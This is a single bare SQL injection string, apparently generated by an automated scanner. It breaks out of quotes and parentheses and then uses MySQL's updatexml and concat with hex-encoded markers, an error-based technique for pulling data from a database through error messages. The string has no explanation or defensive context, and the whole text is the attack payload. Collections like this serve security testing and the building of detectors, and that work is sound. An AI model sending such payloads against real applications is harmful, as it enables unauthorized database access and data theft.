"1""   )    )     )   or updatexml  (  1808,concat  (  0x2e,0x7171706a71,  (  select   (  elt  (  1808  =  1808,1   )    )     )  ,0x717a767a71  )  ,8666  )   and    (    (     (  ""tzqk"" like ""tzqk"